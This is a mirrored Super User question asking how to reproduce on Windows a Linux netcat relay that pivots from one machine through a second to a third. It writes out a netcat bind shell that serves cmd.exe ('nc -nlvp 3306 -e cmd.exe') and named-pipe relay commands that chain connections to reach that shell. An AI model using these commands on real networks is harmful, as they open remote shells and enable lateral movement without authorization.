Setting up Relays in Windows
Posted
by
Auditor
on Super User
See other posts from Super User
or by Auditor
Published on 2012-01-05T13:28:11Z
Indexed on
2012/04/14
17:33 UTC
Read the original article
Hit count: 183
I'm trying to setup a pivoting relay with netcat on Windows, replicating a scenario easily possible by using pipes in Linux.
Assume machine A can route to machine B and machine B can route to machine C. If machine A needs to route to machine C, we can setup a relay on machine B which can pivot data back and forth for us using command redirectors and spl filetype pipe.
Assume:
- machine C has
nc -nlvp 3306 -e cmd.exe
- machine A has
nc -nlvp 80
IF machine B was Linux we could have done
mkfifo pipe
nc -nv 127.0.0.1 80 0<pipe | nc -nv 127.0.0.1 3306 1>pipe
so on machine B if we do
nc -nv 127.0.0.1 80 0<&4 | nc -nv 127.0.0.1 3306 1>&4
Per this site, I should be able to achieve what I can with Linux, but unfortunately it is not working.
© Super User or respective owner